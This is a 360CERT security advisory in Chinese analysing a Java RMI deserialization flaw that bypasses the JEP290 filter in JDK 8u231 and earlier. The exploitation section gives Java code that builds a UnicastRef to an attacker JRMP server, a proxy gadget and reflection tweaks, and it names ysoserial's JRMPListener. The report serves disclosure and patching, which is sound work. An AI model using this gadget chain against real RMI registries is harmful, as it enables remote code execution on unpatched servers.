报告编号:B6-2020-072401
报告来源:360CERT
报告作者:Hu3sky
更新日期:2020-07-24
0x01 漏洞简述
随着RMI
的进步一发展,RMI
上的反序列化攻击手段正逐渐增多,该类漏洞最近正受到愈加广泛的关注。
RMI (Java Remote Method Invocation)
是Java
远程方法调用,是一种允许一个 JVM
上的 object
调用另一个 JVM
上 object
方法的机制,在Java RMI
的通信过程中存在反序列化漏洞,攻击者能够利用该漏洞造成代码执行,漏洞等级:高危
。
在JDK8u231
之前的JDK
版本,能够让注册中心反序列化UnicastRef
这个类,该类可以发起一个JRMP
连接到恶意服务端上,从而在DGC
层造成一个反序列化,因为DGC
层的filter
是在反序列化之后进行设置的,没有起到实际作用,在JDK8u231
进行了修复,在DGC
层反序列化之前就为InputStream
设置了filter
,来过滤传入的序列化数据,提高安全性。
国外安全研究人员@An Trinhs
发现了一个gadgets
利用链,能够直接反序列化UnicastRemoteObject
造成反序列化漏洞。
该漏洞的相关技术细节已公开。
对此,360CERT建议广大用户及时将JDK
升级到最新版本,下载地址为:Java SE Downloads 。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x02 影响版本
- JDK:<=8u231
0x03 漏洞详情
JEP290
机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的过程中,新增了一个filterCheck
方法,所以,任何反序列化操作都会经过这个filterCheck
方法,利用checkInput
方法来对序列化数据进行检测,如果有任何不合格的检测,Filter
将返回Status.REJECTED
。但是jep290
的filter
需要手动设置,通过setObjectInputFilter
来设置filter
,如果没有设置,还是不会有白名单的。
jdk9
向下增加jep290
机制的jdk
版本为。
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)
UnicastRemoteObject.readObject
当我们反序列化UnicastRemoteObject
这个类时,由于该类重写了readObject
方法,所以在反序列化的时候会调用到他的reexport
方法。
在reexport
方法里,如果ssf
是被我们设置了值,那么进入else
判断
接着调用exportObject
方法,该方法通常用来导出远程对象。
一直跟进,跟到TCPTransport.exportObject
方法。
继续跟进listen
方法,跟进TCPEndpoint.newServerSocket
方法。
这里如果我们把ssf
设置为通过RemoteObjectInvocationHandler
生成的代理类,那么就会调用到RemoteObjectInvocationHandler.invoke
方法。(这里涉及到动态代理的知识,如果调用通过InvocationHandler
的实现类生成的代理类,那么会转而调用实现类的invoke
方法,并且会向invoke
方法传入三个参数:代理类对象作为proxy
参数传入,调用的代理类方法作为method
参数传入,具体方法的参数作为args
参数传入),在invoke
方法中,检测声明方法的类,如果不为Object
,进入invokeRemoteMethod
方法。
检测Proxy
的需要实现Remote
接口,这里是我们能控制的,因为在创建代理类的时候就需要指定实现的接口,这里的ref
被赋值为UnicastRef
,并且存有恶意服务端(这里我们的注册中心一端转变成客户端,而恶意监听的一端相当于服务端)的tcp
信息,这里是我们在序列化数据的时候设置的。
UnicastRef.invoke
然后,有几处代码比较关键。
第一处:是和服务端建立连接。
第二处:向服务端传递一些byte
信息。
第三处:获取OutputStream
,进行远程方法传参,这里涉及到调用marshalValue
序列化参数传递给服务端,不过这一处与本次绕过关系不大,所以用的细线标注。
第四处:服务端反序列化参数之后,会向客户端传值,如果服务端反序列化成功,会发送byte
值1
给客户端,如果发生一些错误,就会发送byte
值2
给客户端。
这里的byte
值1
和2
主要体现在客户端的executeCall
方法里,
可以发现,如果客户端接受到服务端返回的byte
值是2
,那么就有一个readObject
方法,而且我们看到getInputStream
之后,并没有给该Stream
设置jep290
的filter
,那么这里就可以造成注册中心(客户端)的反序列化。
调用栈
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
...
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
漏洞利用
- 需要一个向服务端发起
JRMP
连接的UnicastRef
,这里ysoserial
有相关代码,并且在LocateRegistry.getRegistry
里也有相应代码。
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(ip, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
- 创建
RemoteObjectInvocationHandler
的代理类,ssf
是RMIServerSocketFactory
类型。
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(ref);
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(), new Class[] {
RMIServerSocketFactory.class, Remote.class
}, remoteObjectInvocationHandler);
- 将
ssf
的值设置成创建的代理类,但是由于是private
类型,所以需要用反射来赋值。
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject clz = (UnicastRemoteObject) constructor.newInstance(null);
Field ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
ssf.setAccessible(true);
ssf.set(clz,rmiServerSocketFactory);
然后我们利用Server
端进行bind
,让注册中心反序列化这个UnicastRemoteObject
对象,不过序列化的时候出现了问题,在调用RegistryImpl_Stub.bind
的时候,进行writeObject
的时候。
如果enableReplace
为true
。
检测我们要序列化的obj
,是否实现Remote/RemoteStub
,由于UnicastRemoteObject
实现了Remote
,没有实现RemoteStub
,于是会进入判断,就会替换我们的obj
,以至于反序列化的时候不能还原我们构造的类。
所以,需要把enableReplace
改为false
。这里可以自己实现重写RegistryImpl_Stub
,将bind
方法进行修改,在序列化之前,通过反射,把enableReplace
值进行修改。
- 恶意服务端只需要利用
ysoserial.exploit.JRMPListener
开启,监听到来自客户端的请求之后,就会向客户端发送byte
值2
,并序列化恶意类,最终让客户端反序列化恶意类。
jdk8u241中的修复
在jdk8u241进行了修复,在调用UnicastRef.invoke
之前,做了一个检测。
声明方法的类,必须要实现Remote
接口,然而这里的RMIServerSocketFactory
并没有实现,于是无法进入到invoke方法,直接抛出错误。
0x04 时间线
2020-07-24 360-CERT 发布分析报告